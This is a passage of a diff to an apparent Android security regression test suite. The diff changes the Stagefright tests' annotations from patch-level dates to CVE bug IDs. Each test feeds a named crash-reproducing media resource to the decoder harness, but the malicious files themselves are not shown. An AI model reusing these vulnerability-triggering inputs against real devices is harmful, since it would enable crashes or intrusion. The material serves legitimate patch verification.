     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 21443020)
     public void testStagefright_bug_21443020() throws Exception {
         doStagefrightTest(R.raw.bug_21443020_webm);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-03")
+    @AsbSecurityTest(cveBugId = 34360591)
     public void testStagefright_bug_34360591() throws Exception {
         doStagefrightTest(R.raw.bug_34360591);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 35763994)
     public void testStagefright_bug_35763994() throws Exception {
         doStagefrightTest(R.raw.bug_35763994, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33137046)
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 28532266)
     public void testStagefright_cve_2016_2507() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2507, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 31647370)
     public void testStagefright_bug_31647370() throws Exception {
         doStagefrightTest(R.raw.bug_31647370);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-01")
+    @AsbSecurityTest(cveBugId = 32577290)
     public void testStagefright_bug_32577290() throws Exception {
         doStagefrightTest(R.raw.bug_32577290);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 20139950)
     public void testStagefright_cve_2015_1538_1() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_1);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 20139950)
     public void testStagefright_cve_2015_1538_2() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_2);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 20139950)
     public void testStagefright_cve_2015_1538_3() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_3);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 20139950)
     public void testStagefright_cve_2015_1538_4() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_4);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 20139950)
     public void testStagefright_cve_2015_1539() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1539);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 21468251)
     public void testStagefright_cve_2015_3824() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3824);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 21467632)
     public void testStagefright_cve_2015_3826() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3826);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 21468053)
     public void testStagefright_cve_2015_3827() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3827);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 21467634)
     public void testStagefright_cve_2015_3828() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3828);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 21467767)
     public void testStagefright_cve_2015_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3829);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 21132860)
     public void testStagefright_cve_2015_3836() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3836);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 23034759)
     public void testStagefright_cve_2015_3864() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-01")
+    @AsbSecurityTest(cveBugId = 23034759)
     public void testStagefright_cve_2015_3864_b23034759() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864_b23034759);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23306638)
     public void testStagefright_cve_2015_6598() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6598);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-12")
+    @AsbSecurityTest(cveBugId = 31318219)
     public void testStagefright_cve_2016_6766() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6766);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-02")
+    @AsbSecurityTest(cveBugId = 27211885)
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2429_b_27211885,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 34031018)
     public void testStagefright_bug_34031018() throws Exception {
         doStagefrightTest(R.raw.bug_34031018_32bit, new CrashUtils.Config().checkMinAddress(false));
         doStagefrightTest(R.raw.bug_34031018_64bit, new CrashUtils.Config().checkMinAddress(false));
@@ -355,38 +355,38 @@
      ***********************************************************/
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 65123471)
     public void testStagefright_bug_65123471() throws Exception {
         doStagefrightTest(R.raw.bug_65123471);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 72165027)
     public void testStagefright_bug_72165027() throws Exception {
         doStagefrightTest(R.raw.bug_72165027);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 65483665)
     public void testStagefright_bug_65483665() throws Exception {
         doStagefrightTest(R.raw.bug_65483665);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 62815506)
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0852_b_62815506,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 68160703)
     public void testStagefright_cve_2017_13229() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13229);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 62534693)
     public void testStagefright_cve_2017_0763() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0763);
     }
@@ -397,92 +397,92 @@
      ***********************************************************/
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 73965890)
     public void testBug_73965890() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_73965890_framelen);
         doStagefrightTestRawBlob(R.raw.bug_73965890_hevc, "video/hevc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-10")
+    @AsbSecurityTest(cveBugId = 30744884)
     public void testStagefright_cve_2016_3920() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3920, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 38448381)
     public void testStagefright_bug_38448381() throws Exception {
         doStagefrightTest(R.raw.bug_38448381);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-08")
+    @AsbSecurityTest(cveBugId = 28166152)
     public void testStagefright_cve_2016_3821() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3821, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-04")
+    @AsbSecurityTest(cveBugId = 70897454)
     public void testStagefright_bug_70897454() throws Exception {
         doStagefrightTestRawBlob(R.raw.b70897454_avc, "video/avc", 320, 420);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28165659)
     public void testStagefright_cve_2016_3742_b_28165659() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3742_b_28165659);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 35039946)
     public void testStagefright_bug_35039946() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_35039946_hevc, "video/hevc", 320, 420);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 38115076)
     public void testStagefright_bug_38115076() throws Exception {
         doStagefrightTest(R.raw.bug_38115076, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 34618607)
     public void testStagefright_bug_34618607() throws Exception {
         doStagefrightTest(R.raw.bug_34618607, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 69478425)
     public void testStagefright_bug_69478425() throws Exception {
         doStagefrightTest(R.raw.bug_69478425);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 65735716)
     public void testStagefright_bug_65735716() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_65735716_avc, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-12")
+    @AsbSecurityTest(cveBugId = 65717533)
     public void testStagefright_bug_65717533() throws Exception {
         doStagefrightTest(R.raw.bug_65717533_header_corrupt);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 38239864)
     public void testStagefright_bug_38239864() throws Exception {
         doStagefrightTest(R.raw.bug_38239864, (4 * 60 * 1000));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 35269635)
     public void testStagefright_cve_2017_0600() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0600, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 38014992)
     public void testBug_38014992() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
         doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes,
@@ -490,35 +490,35 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 35584425)
     public void testBug_35584425() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_35584425_framelen);
         doStagefrightTestRawBlob(R.raw.bug_35584425_avc, "video/avc", 352, 288, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 31092462)
     public void testBug_31092462() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_31092462_framelen);
         doStagefrightTestRawBlob(R.raw.bug_31092462_avc, "video/avc", 1280, 1024, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 34097866)
     public void testBug_34097866() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_34097866_frame_len);
         doStagefrightTestRawBlob(R.raw.bug_34097866_avc, "video/avc", 352, 288, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33862021)
     public void testBug_33862021() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33862021_frame_len);
         doStagefrightTestRawBlob(R.raw.bug_33862021_hevc, "video/hevc", 160, 96, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33387820)
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
         doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes,
@@ -526,42 +526,42 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 37008096)
     public void testBug_37008096() throws Exception {
         int[] frameSizes = {245, 12, 33, 140, 164};
         doStagefrightTestRawBlob(R.raw.bug_37008096_avc, "video/avc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 34231163)
     public void testStagefright_bug_34231163() throws Exception {
         int[] frameSizes = {22, 357, 217, 293, 175};
         doStagefrightTestRawBlob(R.raw.bug_34231163_mpeg2, "video/mpeg2", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 33933140)
     public void testStagefright_bug_33933140() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33933140_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33933140_avc, "video/avc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 34097915)
     public void testStagefright_bug_34097915() throws Exception {
         int[] frameSizes = {4140, 593, 0, 15495};
         doStagefrightTestRawBlob(R.raw.bug_34097915_avc, "video/avc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 34097213)
     public void testStagefright_bug_34097213() throws Exception {
         int[] frameSizes = {2571, 210, 33858};
         doStagefrightTestRawBlob(R.raw.bug_34097213_avc, "video/avc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-08")
+    @AsbSecurityTest(cveBugId = 28816956)
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
         doStagefrightTestRawBlob(
@@ -570,7 +570,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33818500)
     public void testBug_33818500() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes,
@@ -578,114 +578,114 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 64784973)
     public void testBug_64784973() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_64784973_framelen);
         doStagefrightTestRawBlob(R.raw.bug_64784973_hevc, "video/hevc", 1280, 720, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 34231231)
     public void testBug_34231231() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_34231231_framelen);
         doStagefrightTestRawBlob(R.raw.bug_34231231_mpeg2, "video/mpeg2", 352, 288, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-10")
+    @AsbSecurityTest(cveBugId = 63045918)
     public void testBug_63045918() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_63045918_framelen);
         doStagefrightTestRawBlob(R.raw.bug_63045918_hevc, "video/hevc", 352, 288, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33298089)
     public void testBug_33298089() throws Exception {
         int[] frameSizes = {3247, 430, 221, 2305};
         doStagefrightTestRawBlob(R.raw.bug_33298089_avc, "video/avc", 32, 64, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 34672748)
     public void testStagefright_cve_2017_0599() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0599, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 36492741)
     public void testStagefright_bug_36492741() throws Exception {
         doStagefrightTest(R.raw.bug_36492741);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 38487564)
     public void testStagefright_bug_38487564() throws Exception {
         doStagefrightTest(R.raw.bug_38487564, (4 * 60 * 1000));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 37237396)
     public void testStagefright_bug_37237396() throws Exception {
         doStagefrightTest(R.raw.bug_37237396);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 25818142)
     public void testStagefright_cve_2016_0842() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0842);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-11")
+    @AsbSecurityTest(cveBugId = 63121644)
     public void testStagefright_bug_63121644() throws Exception {
         doStagefrightTest(R.raw.bug_63121644);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 30593752)
     public void testStagefright_cve_2016_6712() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6712, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 34097231)
     public void testStagefright_bug_34097231() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_34097231_avc, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-05")
+    @AsbSecurityTest(cveBugId = 34097672)
     public void testStagefright_bug_34097672() throws Exception {
         doStagefrightTest(R.raw.bug_34097672);
     }
 
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33751193)
     public void testStagefright_bug_33751193() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_33751193_avc, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 36993291)
     public void testBug_36993291() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36993291_avc, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 33818508)
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 32873375)
     public void testStagefright_bug_32873375() throws Exception {
         doStagefrightTest(R.raw.bug_32873375, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-02")
+    @AsbSecurityTest(cveBugId = 63522067)
     public void testStagefright_bug_63522067() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
         doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
@@ -694,79 +694,79 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-03")
+    @AsbSecurityTest(cveBugId = 25765591)
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 62673179)
     public void testStagefright_bug_62673179() throws Exception {
         doStagefrightTest(R.raw.bug_62673179_ts, (4 * 60 * 1000));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-03")
+    @AsbSecurityTest(cveBugId = 69269702)
     public void testStagefright_bug_69269702() throws Exception {
         doStagefrightTest(R.raw.bug_69269702);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23213430)
     public void testStagefright_cve_2015_3867() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2018-01")
+    @AsbSecurityTest(cveBugId = 65398821)
     public void testStagefright_bug_65398821() throws Exception {
         doStagefrightTest(R.raw.bug_65398821, ( 4 * 60 * 1000 ) );
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23036083)
     public void testStagefright_cve_2015_3869() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3869);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-03")
+    @AsbSecurityTest(cveBugId = 23452792)
     public void testStagefright_bug_23452792() throws Exception {
         doStagefrightTest(R.raw.bug_23452792);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-08")
+    @AsbSecurityTest(cveBugId = 28673410)
     public void testStagefright_cve_2016_3820() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3820);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28165661)
     public void testStagefright_cve_2016_3741() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3741);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28175045)
     public void testStagefright_cve_2016_2506() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2506);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-06")
+    @AsbSecurityTest(cveBugId = 26751339)
     public void testStagefright_cve_2016_2428() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2428, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28556125)
     public void testStagefright_cve_2016_3756() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3756);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 36592202)
     public void testStagefright_bug_36592202() throws Exception {
         Resources resources = getInstrumentation().getContext().getResources();
         AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
@@ -816,165 +816,165 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-11")
+    @AsbSecurityTest(cveBugId = 30822755)
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 32322258)
     public void testStagefright_bug_32322258() throws Exception {
         doStagefrightTest(R.raw.bug_32322258, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23248776)
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 35472997)
     public void testStagefright_bug_35472997() throws Exception {
         doStagefrightTest(R.raw.bug_35472997);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 20718524)
     public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 34896431)
     public void testStagefright_bug_34896431() throws Exception {
         doStagefrightTest(R.raw.bug_34896431);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-04")
+    @AsbSecurityTest(cveBugId = 33641588)
     public void testBug_33641588() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_33641588_avc, "video/avc", 320, 240);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 22954006)
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3862_b_22954006,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23213430)
     public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 21814993)
     public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-04")
+    @AsbSecurityTest(cveBugId = 25812590)
     public void testStagefright_bug_25812590() throws Exception {
         doStagefrightTest(R.raw.bug_25812590);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 22882938)
     public void testStagefright_cve_2015_6600() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6600);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23227354)
     public void testStagefright_cve_2015_6603() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6603);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23129786)
     public void testStagefright_cve_2015_6604() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6604);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-12")
+    @AsbSecurityTest(cveBugId = 24157524)
     public void testStagefright_bug_24157524() throws Exception {
         doStagefrightTestMediaCodec(R.raw.bug_24157524);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-10")
+    @AsbSecurityTest(cveBugId = 23031033)
     public void testStagefright_cve_2015_3871() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-04")
+    @AsbSecurityTest(cveBugId = 26070014)
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 32915871)
     public void testStagefright_bug_32915871() throws Exception {
         doStagefrightTest(R.raw.bug_32915871);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28333006)
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-11")
+    @AsbSecurityTest(cveBugId = 14388161)
     public void testStagefright_bug_14388161() throws Exception {
         doStagefrightTestMediaPlayer(R.raw.bug_14388161);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-07")
+    @AsbSecurityTest(cveBugId = 28470138)
     public void testStagefright_cve_2016_3755() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3755, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-09")
+    @AsbSecurityTest(cveBugId = 29493002)
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3878_b_29493002,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
+    @AsbSecurityTest(cveBugId = 36819262)
     public void testBug_36819262() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36819262_mpeg2, "video/mpeg2", 640, 480);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-11")
+    @AsbSecurityTest(cveBugId = 23680780)
     public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-09")
+    @AsbSecurityTest(cveBugId = 36715268)
     public void testStagefright_bug_36715268() throws Exception {
         doStagefrightTest(R.raw.bug_36715268);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2016-06")
+    @AsbSecurityTest(cveBugId = 27855419)
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
         doStagefrightTest(R.raw.bug_27855419, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2015-11")
+    @AsbSecurityTest(cveBugId = 19779574)
     public void testStagefright_bug_19779574() throws Exception {
         doStagefrightTest(R.raw.bug_19779574, new CrashUtils.Config().checkMinAddress(false));
     }
@@ -985,20 +985,20 @@
      ***********************************************************/
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33090864)
     public void testBug_33090864() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33090864_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33090864_avc, "video/avc", 320, 240, frameSizes);
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-07")
+    @AsbSecurityTest(cveBugId = 36279112)
     public void testStagefright_bug_36279112() throws Exception {
         doStagefrightTest(R.raw.bug_36279112, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-06")
+    @AsbSecurityTest(cveBugId = 33129467)
     public void testStagefright_cve_2017_0640() throws Exception {
         int[] frameSizes = {21, 4};
         doStagefrightTestRawBlob(R.raw.cve_2017_0640_avc, "video/avc", 640, 480,
@@ -1006,33 +1006,33 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2017-08")
